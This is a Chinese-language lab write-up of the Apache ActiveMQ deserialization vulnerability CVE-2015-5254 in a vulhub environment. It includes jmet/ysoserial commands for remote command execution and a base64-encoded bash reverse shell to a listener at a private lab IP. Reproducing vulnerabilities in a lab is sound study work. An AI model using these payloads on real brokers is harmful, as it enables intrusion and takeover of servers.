ActiveMQ 反序列化漏洞(CVE-2015-5254)漏洞复现vulhub

2023-11-08

ActiveMQ 反序列化漏洞(CVE-2015-5254)

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

vulhub漏洞复现

cd activemq/
cd CVE-2015-5254/
docker-compose build  #重新编译靶场环境
docker-compose up -d  #开启靶场
docker-compose ps     #查看端口
docker-compose down  #关闭靶场

activemq的web管理页面为http://192.168.126.128:8161/admin/index.jsp?printable=true
在这里插入图片描述

默认账号密码为admin,admin

漏洞利用
攻击机:Windows
目标机:ubuntu 192.168.126.128
监听机:kalilinux:192.168.126.130

1.构造可执行命令的反序列化对象
Jmet可以使用ysoserial生成Payload并发送
下载jmet,

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

并且在同一目录下创建一个名为external的文件夹。
Jmet命令:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker" -Yp ROME 192.168.126.128 61616
访问http://192.168.126.128:8161/admin/browse.jsp?JMSDestination=event,可以看到全部消息
在这里插入图片描述

点击此消息即可触发创建文件的命令执行。
此时进入activemq镜像的脚本执行模式: docker compose exec activemq bash
在这里插入图片描述

可以看到hacker被创建,命令执行成功。

可以将命令替换为反弹一句话shell
1.开启kali 打开netcat,开启监听:nc -lvvp 8080
2.构造shell:bash -i >& /dev/tcp/192.168.126.130/8080 0>&1
将shell进行base64加密为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzAvODA4MCAwPiYx
3.继续使用jmet 将命令替换为反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzAvODA4MCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.126.128 61616

4.点击消息触发命令执行

5.shell反弹成功,成功获取到shell虚拟终端控制环境。
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ActiveMQ 反序列化漏洞(CVE-2015-5254)漏洞复现vulhub 的相关文章

  • ActiveMQ NMS C# 对象消息使用什么序列化方法?

    我计划使用 Apache NMS 进行 ActiveMQ 消息传递 并且想知道我发送的对象将使用什么序列化方法 XML 二进制 什么控制序列化以及如何自定义它 有人有使用 C 对象执行此操作的经验吗 您知道有哪些陷阱吗 IObjectMes
  • 使用 LDAP Active Directory 身份验证的 ActiveMQ Web 控制台

    努力让 ActiveMQ Web 控制台使用 LDAP 并根据 Active Directory 进行身份验证 启动 MQ 时没有错误 出现用户名 密码登录框提示 但在插入正确的凭据时没有进展 Version 5 15 6 登录配置 amq
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 通俗易懂,十分钟读懂DES,详解DES加密算法原理,DES攻击手段以及3DES原理

    文章目录 1 什么是DES 2 DES的基本概念 3 DES的加密流程 4 DES算法步骤详解 4 1 初始置换 Initial Permutation IP置换 4 2 加密轮次 4 3 F轮函数 4 3 1 拓展R到48位 4 3 2
  • 使用 ActiveMQ/Stomp 在 PHP 和 Java 之间进行通信

    背景 我有两个服务需要通过消息队列相互通信 一种是用 PHP 编写的遗留服务 另一种是用 Java 编写的 迟早 PHP 服务将被 Java 重写 它们当前相互通信的方式是写入共享数据库 由其他服务轮询 这就是我试图摆脱并用消息队列替换的内
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学
  • ActiveMQ 中的只读 Web 控制台访问

    我正在使用 ActiveMQ 5 10 并且想创建一个通过 Web 控制台具有只读访问权限的用户 红帽发布本文 https access redhat com solutions 389323 提到由于 ActiveMQ 中的错误 它并不是
  • 最大 MQTT 连接数

    我需要创建一个服务器场 可以处理 5 100 万个连接 5 00000 个主题 每个客户端一个 每秒处理 300k 消息 我尝试了解各种消息代理的功能 因此我目前使用两个 RHEL EC2 实例 r3 4xlarge 来获取大量可用资源 所
  • 哪种嵌入式消息传递系统 -> ActiveMQ 或 HornetQ [关闭]

    Closed 此问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我希望得到一些关于这两个消息系统中哪一个的一般性指示和意见 更容易管理 需要了解和避免的陷阱或神奇的东西
  • ActiveMQ:在没有代理的情况下启动消费者

    我正在编写一个从队列消费的 JMS 客户端 如果重要的话 我的经纪人是 activemq 一项要求是 即使代理关闭 客户端也应该启动 在这种情况下 它的行为应该就像队列中没有消息一样 一旦代理启动并且消息开始出现 就会做出相应的行为 问题是
  • ActiveMQ 简单身份验证插件 - 用户管理员无权创建:topic://ActiveMQ.Advisory.Connection

    我修改了我们的 ActiveMQ 配置以使用 ActiveMQ 简单身份验证插件以及具有代理所有权限的单个用户和密码
  • 如何在Mule中创建独占队列消费者?

    在 ActiveMQ 中 您可以为队列配置独占消费者 例如 Queue Name Here consumer exclusive true 如何在 Mule 中配置像上面这样的独占消费者 您需要对队列名称进行 URL 编码 因为 Mule
  • 使用 Gattle 向 ActiveMQ 发布消息

    我一直在使用Gatling将消息发布到 ActiveMq 服务器 我明白了 java lang SecurityException 无效的用户名 null 或空 不过我使用有效的用户名和密码 这是我的测试代码 抛出了异常 任何有关如何解决此
  • ActiveMQ:如何以编程方式监控嵌入式代理

    我想从代码内部监控嵌入式 ActiveMQ 5 8 代理 如何才能做到这一点 我需要 JMX 连接吗 我想防止暴露 JMX 有没有办法访问org apache activemq broker jmx http activemq apache
  • 如何将 activemq-core.xsd url 与 jar 文件中找到的 activemq.xsd 关联?

    有人知道如何关联activemq core xsd网址与activemq xsd在 jar 文件 activemq core 5 2 0 jar 中找到 我在互联网上找到了一些解决方案 但没有成功 我收到此错误 Caused by org
  • Apache Camel/ActiveMQ 优先级路由

    我有两个具有相同消费者的 AMQ 队列 第一个队列 Q1 处理 97 的消息 另一个队列 Q2 仅处理 3 问题是 Q2 中的消息需要在排队后立即处理 所以我的问题是 当第二季度有消息可用时 我需要以某种方式暂停第一条路线以吸引其消费者 a
  • 如何使用 C 客户端通过 ActiveMQ 启用 SSL

    我已经配置了 ActiveMQ http activemq apache org http activemq apache org 通过以下方式使用 ssl 上下文RedHat 的 SSL TLS 教程 https access redha
  • 虚拟主题/队列和持久性

    当没有消费者收听时 发布到虚拟主题的消息会发生什么情况 经纪商是否会将其持有一段时间 直到有订户可用为止 进一步来说 在 T0 和 T1 处发布消息 M0 和 M1 在T2 消费者C1连接 他会收到M0和M1吗 显然 在 T3 和 T4 发

随机推荐

  • excel将数据按某一列值分组并绘制分组折线图

    目录 一 实现按id分组 二 绘制分组折线图 今天在处理数据的时候发现了一个很巧妙的EXCEL绘制分组折现图的方法 简单记录分享一下 我的数据大概长这样 我希望实现的目标是根据产品id分组绘制不同产品的销量图 一 实现按id分组 复制产品i
  • python3.5 实现批量修改json文件中的中文字段

    改了好久才改好 关键问题编码格式 要改成gbk coding gbk import os import json 获取目标文件夹的路径 filedir os getcwd updatejson 获取文件夹中的文件名称列表 filenames
  • Axure RP暗黑色高保真中后台原型组件模板库及组件库素材

    Axure RP暗黑色高保真中后台原型组件模板库及组件库素材 黑色一直以来就可以给人以高级 神秘的语义象征 相比于浅色模式 暗色模式藏着更多可能性 色彩具有层级关系 深色会在视觉感官上自动后退 浅色部分则会向前延展 这样对比强烈的层次关系可
  • 2023网络安全毕业设计选题推荐 - 信息安全毕业设计题目大全

    文章目录 0 简介 2 如何选题 1 最新网安毕设选题 3 最后 0 简介 毕业季马上就要开始了 不少同学询问学长管理选题开题类的问题 今天跟大家分享信息安全毕设选题 最新的信息安全 网络安全 专业毕设选题 难度适中 适合作为毕业设计 大家
  • redis 由浅入深之 简介和开发环境搭建

    简介 redis是一个key value 存储系统 和Memcached类似 它支持存储的value类型相对更多 包括string 字符串 list 链表 set 集合 zset sorted set 有序集合 和hash 哈希类型 这些
  • Centos7 安装Tesseract-OCR

    第一步 依赖安装 yum install y autoconf automake libtool libjpeg libpng libtiff zlib libjpeg devel libpng devel libtiff devel zl
  • 基于时间序列的回归问题(4)——时间序列预测的基本思路

    前言 大家好 这个系列之前以及写了几篇博客 都是对于时间序列回归预测的一些前期准备知识 相信很多人 包括笔者在内 第一次接触这种项目 可能大体的思路方案都不是很清楚 那么 这么博客将为大家梳理一下做基于时间序列数据回归预测问题的大体思路 1
  • 线性代数——矩阵的初等变换

    矩阵的初等变换 矩阵的初等变换分为初等行变换和初等列变换 初等变换矩阵与矩阵之间用箭头连接 不能用等号 初等行变换 交换两行 用k k 0 乘以某一行 某一行的1倍加到某一行上去 定理1 任何矩阵都可通过初等变换化为标准形 行变换和列变换都
  • eclipse实用配置

    在eclipse打开当前文件在本地电脑中所在的路径配置 Run gt External Tools gt External Tools Configurations new 一个 program location 里面填 C WINDOWS
  • 一文带你从零到一深入透析 @RefreshScope 结合 Nacos 动态刷新源码

    嗨 您好 我是 vnjohn 在互联网企业担任 Java 开发 CSDN 优质创作者 推荐专栏 Spring MySQL Nacos Java 后续其他专栏会持续优化更新迭代 文章所在专栏 Nacos 我当前正在学习微服务领域 云原生领域
  • 学生php实训个人总结300字,实训总结300字通用版5篇

    导语 实训目的要明确 在理论上验证定理 公式 算法 并使实验者获得深刻和系统的理解 在实践上 掌握使用实验设备的技能技巧和程序的调试方法 一般需说明是验证型实验还是设计型实验 是创新型实验还是综合型实验 无忧考网为大家整理的实训总结300字
  • 使用 AWK 去掉文本文档中的空白行

    在 Linux 操作系统中 可以使用 AWK 命令高效地处理文本文档 AWK 命令通过执行使用 AWK 语言编写的脚本程序 处理文本文档 AWK 脚本程序是由模式 patterns 与相关操作 corresponding actions 组
  • 基于空间平滑MUSIC算法的相干信号DOA估计(2)

    空间平滑MUSIC算法 2 继续上一篇博客 继续讲后向空间平滑和前 后向空间平滑MUSIC算法 基于空间平滑MUSIC算法的相干信号DOA估计 1 2 3 后向空间平滑算法 后向空间平滑更准确的说是共轭后向空间平滑 它是对后向子阵列地共轭接
  • mysql数据库用户管理和权限控制

    文章目录 1 用户管理 1 1 查询用户 1 2 创建用户 1 3 修改用户密码 1 4 删除用户 2 权限控制 2 1 查询用户权限 2 2 授予权限 2 3 取消权限 2 4 多个权限用逗号隔开 1 用户管理 1 1 查询用户 USE
  • 【转】在 Bash 中使用 -exec 选项和 find 命令搜索文件

    转自 https www delftstack com zh howto linux linux find exec 我们可以使用带有 exec 选项的 find 命令来查找包含我们要搜索的文本的文件 主要概念是使用 find 命令获取工作
  • 关于HTML页面跳转的5种方法分享。

    转自 微点阅读 https www weidianyuedu com 五个例子来详细说明 这几个例子的主要功能是 在5秒后 自动跳转到同目录下的hello html 根据自己需要自行修改 文件 1 html的实现 1 2 3 4 5 6
  • TCP的Ack和Seq和len的关系

    详细可以看 不抓包 如何学得了 TCP这篇文章 关系 发送数据包 数据的序号Seq和数据的长度Len 发送seq len 确认包 Ack 收到的数据包的序号Seq Len ack seq len 发送数据包的
  • 十大排序算法

    十大排序对比表格 中文名称 英文名称 平均时间复杂度 最坏时间复杂度 最好时间复杂度 空间复杂度 稳定性 选择排序 Selection O O O O 1 不稳定 冒泡排序 Bubble O O O O 1 稳定 插入排序 Insertio
  • selenium中隐藏元素如何定位

    1 什么是隐藏元素 前端通过一些属性来控制元素隐藏 type hidden style display none margin设为负值 z index控制元素堆叠顺序 2 定位隐藏元素 定位隐藏元素与定位普通元素没什么区别 from sel
  • ActiveMQ 反序列化漏洞(CVE-2015-5254)漏洞复现vulhub

    ActiveMQ 反序列化漏洞 CVE 2015 5254 Apache ActiveMQ是美国阿帕奇 Apache 软件基金会所研发的一套开源的消息中间件 它支持Java消息服务 集群 Spring Framework等 Apache A